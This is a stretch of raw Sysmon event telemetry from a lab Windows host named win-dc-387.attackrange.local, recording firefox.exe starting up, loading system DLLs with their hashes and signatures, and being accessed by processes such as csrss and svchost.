(rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000049632Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.887{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\wintrust.dll10.0.14393.4530 (rs1_release.210705-0736)Microsoft Trust Verification APIsMicrosoft® Windows® Operating SystemMicrosoft CorporationWINTRUST.DLLMD5=992BCD32EF7680C574A426FAA4933ACA,SHA256=5755AC46B4220784A6E6AC12A755CC10892A5AE59B67924576075A1A29D68B3D,IMPHASH=EC9695F0DF1F52E9D439A942DBDAA111trueMicrosoft WindowsValid 734700x800000000000000049631Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.887{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\msasn1.dll10.0.14393.0 (rs1_release.160715-1616)ASN.1 Runtime APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationmsasn1.dllMD5=299464D218A27B56684B715365D149FE,SHA256=2BFE4014E06552A9D4201EF9D1C605694AAF2B7B811265EFD91FC6D1C2D48242,IMPHASH=B6562243FBF394F03046E917C719260FtrueMicrosoft WindowsValid 734700x800000000000000049630Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.887{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\crypt32.dll10.0.14393.4350 (rs1_release.210407-2154)Crypto API32Microsoft® Windows® Operating SystemMicrosoft CorporationCRYPT32.DLLMD5=95BA70CFA8087A209500D7D350BF3A59,SHA256=4265157E8DC2A0E32A6328D54181CC31FD24E3017E60B270623C2CDBE5FAB4FA,IMPHASH=5BAA515B293A764CA06512D078C4E624trueMicrosoft WindowsValid 734700x800000000000000049629Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.887{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Program Files\Mozilla Firefox\mozglue.dll92.0-FirefoxMozilla Foundationmozglue.dllMD5=2AA3B81F30451FC8E5A23ED228B8C7D2,SHA256=BB33821ADE195D2C34C3528A148843767FFED9806BB19E19FBE01DEFF12A1DDD,IMPHASH=521A5A933B177363A2A0D8A6C3244738trueMozilla CorporationValid 734700x800000000000000049628Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.872{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000049627Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.872{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000049626Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.872{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000049625Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.872{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000049624Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.872{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000049623Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.872{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000049622Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.872{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000049621Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.856{7BD73061-728D-613B-550B-00000000F001}208C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\imm32.dll10.0.14393.0 (rs1_release.160715-1616)Multi-User Windows IMM32 API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationimm32MD5=E1024CF2E35DD3467F52BC83F7FEDA3F,SHA256=59C87761AD509BD096C2F35257C2370FB94B95160CB63FB9E66DFD8210AB002A,IMPHASH=C852E8FD14D356C81F834E318EEAD7FAtrueMicrosoft WindowsValid 734700x800000000000000049620Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.856{7BD73061-728D-613B-550B-00000000F001}208C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000049619Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.856{7BD73061-728D-613B-550B-00000000F001}208C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000049618Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.856{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000049617Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.856{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Program Files\Mozilla Firefox\firefox.exe92.0FirefoxFirefoxMozilla Corporationfirefox.exeMD5=1FD44F5F8D3DBF02BF76AAAE6AB44D8A,SHA256=A20DDE702CCC7B83A9D8017BBF45738E22EF45E2F2511570E2415BE85F01A4C5,IMPHASH=AECE7B7E776840D7A7255A31B309B7E4trueMozilla CorporationValid 734700x800000000000000049616Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.856{7BD73061-728D-613B-550B-00000000F001}208C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000049615Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.856{7BD73061-728D-613B-550B-00000000F001}208C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 10341000x800000000000000049614Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.841{7BD73061-6D0B-613B-7F06-00000000F001}36603632C:\Windows\system32\csrss.exe{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 734700x800000000000000049613Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.841{7BD73061-728D-613B-550B-00000000F001}208C:\Program Files\Mozilla Firefox\firefox.exeC:\Program Files\Mozilla Firefox\vcruntime140.dll14.15.26706.0 built by: VCTOOLSRELMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=6E2B2DDB1BC783122018D99D38497298,SHA256=02FCB91909ED2ECC68B62BCEACA7B8D8319E7D625E599756C170DB631237DA69,IMPHASH=0DB7FB80C208C376AAA4DB3B8FD501E1trueMicrosoft CorporationValid 10341000x800000000000000049612Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.841{7BD73061-728D-613B-550B-00000000F001}2086852C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\ADVAPI32.dll+188af|C:\Program Files\Mozilla Firefox\firefox.exe+8b85|C:\Program Files\Mozilla Firefox\firefox.exe+5799|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000049611Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.849{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exe92.0FirefoxFirefoxMozilla Corporationfirefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\ATTACKRANGE\Administrator{7BD73061-6D0D-613B-08AC-390000000000}0x39ac082MediumMD5=1FD44F5F8D3DBF02BF76AAAE6AB44D8A,SHA256=A20DDE702CCC7B83A9D8017BBF45738E22EF45E2F2511570E2415BE85F01A4C5,IMPHASH=AECE7B7E776840D7A7255A31B309B7E4{7BD73061-728D-613B-550B-00000000F001}208C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" 734700x800000000000000049610Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.841{7BD73061-728D-613B-550B-00000000F001}208C:\Program Files\Mozilla Firefox\firefox.exeC:\Program Files\Mozilla Firefox\msvcp140.dll14.15.26706.0 built by: VCTOOLSRELMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=EB1B46C4B900E4C83066760A737986CD,SHA256=29206A9A3ABB8962593312EDC6FB5AAA76A86FAE8F24C1E1718707001B8DF3DD,IMPHASH=284D5505DC58374E12C9FFA386A0732AtrueMicrosoft CorporationValid 10341000x800000000000000049609Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.841{7BD73061-728D-613B-550B-00000000F001}2086852C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+7376|C:\Program Files\Mozilla Firefox\firefox.exe+5799|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000049608Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.841{7BD73061-728D-613B-550B-00000000F001}208C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000049607Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.841{7BD73061-728D-613B-550B-00000000F001}208C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000049606Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.841{7BD73061-728D-613B-550B-00000000F001}208C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 734700x800000000000000049605Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.841{7BD73061-728D-613B-550B-00000000F001}208C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000049604Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.841{7BD73061-728D-613B-550B-00000000F001}208C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\version.dll10.0.14393.0 (rs1_release.160715-1616)Version Checking and File Installation LibrariesMicrosoft® Windows® Operating SystemMicrosoft CorporationVERSION.DLLMD5=CFDB018AC09F879CAAE7A66CA7880D57,SHA256=6AB95FD0D142CFFC3B9455AF51F003E1CD75B7F4323820390B975F9E1C8A47A5,IMPHASH=9A7C66851249D4CED6C2C9096DCA243BtrueMicrosoft WindowsValid 734700x800000000000000049603Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.825{7BD73061-728D-613B-550B-00000000F001}208C:\Program Files\Mozilla Firefox\firefox.exeC:\Program Files\Mozilla Firefox\mozglue.dll92.0-FirefoxMozilla Foundationmozglue.dllMD5=2AA3B81F30451FC8E5A23ED228B8C7D2,SHA256=BB33821ADE195D2C34C3528A148843767FFED9806BB19E19FBE01DEFF12A1DDD,IMPHASH=521A5A933B177363A2A0D8A6C3244738trueMozilla CorporationValid 734700x800000000000000049602Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.841{7BD73061-728D-613B-550B-00000000F001}208C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000049601Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.841{7BD73061-728D-613B-550B-00000000F001}208C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000049600Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.841{7BD73061-728D-613B-550B-00000000F001}208C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\wintrust.dll10.0.14393.4530 (rs1_release.210705-0736)Microsoft Trust Verification APIsMicrosoft® Windows® Operating SystemMicrosoft CorporationWINTRUST.DLLMD5=992BCD32EF7680C574A426FAA4933ACA,SHA256=5755AC46B4220784A6E6AC12A755CC10892A5AE59B67924576075A1A29D68B3D,IMPHASH=EC9695F0DF1F52E9D439A942DBDAA111trueMicrosoft WindowsValid 734700x800000000000000049599Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.841{7BD73061-728D-613B-550B-00000000F001}208C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\msasn1.dll10.0.14393.0 (rs1_release.160715-1616)ASN.1 Runtime APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationmsasn1.dllMD5=299464D218A27B56684B715365D149FE,SHA256=2BFE4014E06552A9D4201EF9D1C605694AAF2B7B811265EFD91FC6D1C2D48242,IMPHASH=B6562243FBF394F03046E917C719260FtrueMicrosoft WindowsValid 734700x800000000000000049598Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.841{7BD73061-728D-613B-550B-00000000F001}208C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\crypt32.dll10.0.14393.4350 (rs1_release.210407-2154)Crypto API32Microsoft® Windows® Operating SystemMicrosoft CorporationCRYPT32.DLLMD5=95BA70CFA8087A209500D7D350BF3A59,SHA256=4265157E8DC2A0E32A6328D54181CC31FD24E3017E60B270623C2CDBE5FAB4FA,IMPHASH=5BAA515B293A764CA06512D078C4E624trueMicrosoft WindowsValid 734700x800000000000000049597Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.825{7BD73061-728D-613B-550B-00000000F001}208C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000049596Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.825{7BD73061-728D-613B-550B-00000000F001}208C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000049595Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.825{7BD73061-728D-613B-550B-00000000F001}208C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000049594Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.825{7BD73061-728D-613B-550B-00000000F001}208C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000049593Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.825{7BD73061-728D-613B-550B-00000000F001}208C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000049592Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.809{7BD73061-728D-613B-550B-00000000F001}208C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000049591Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.809{7BD73061-728D-613B-550B-00000000F001}208C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000049590Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.809{7BD73061-728D-613B-550B-00000000F001}208C:\Program Files\Mozilla Firefox\firefox.exeC:\Program Files\Mozilla Firefox\firefox.exe92.0FirefoxFirefoxMozilla Corporationfirefox.exeMD5=1FD44F5F8D3DBF02BF76AAAE6AB44D8A,SHA256=A20DDE702CCC7B83A9D8017BBF45738E22EF45E2F2511570E2415BE85F01A4C5,IMPHASH=AECE7B7E776840D7A7255A31B309B7E4trueMozilla CorporationValid 734700x800000000000000049589Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.809{7BD73061-728D-613B-550B-00000000F001}208C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 10341000x800000000000000049588Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.809{7BD73061-65B2-613B-1300-00000000F001}923748C:\Windows\System32\svchost.exe{7BD73061-728D-613B-550B-00000000F001}208C:\Program Files\Mozilla Firefox\firefox.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\pcasvc.dll+52e4|c:\windows\system32\pcasvc.dll+58a9|c:\windows\system32\pcasvc.dll+5b49|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde|C:\Windows\System32\RPCRT4.dll+30ed7|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049587Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 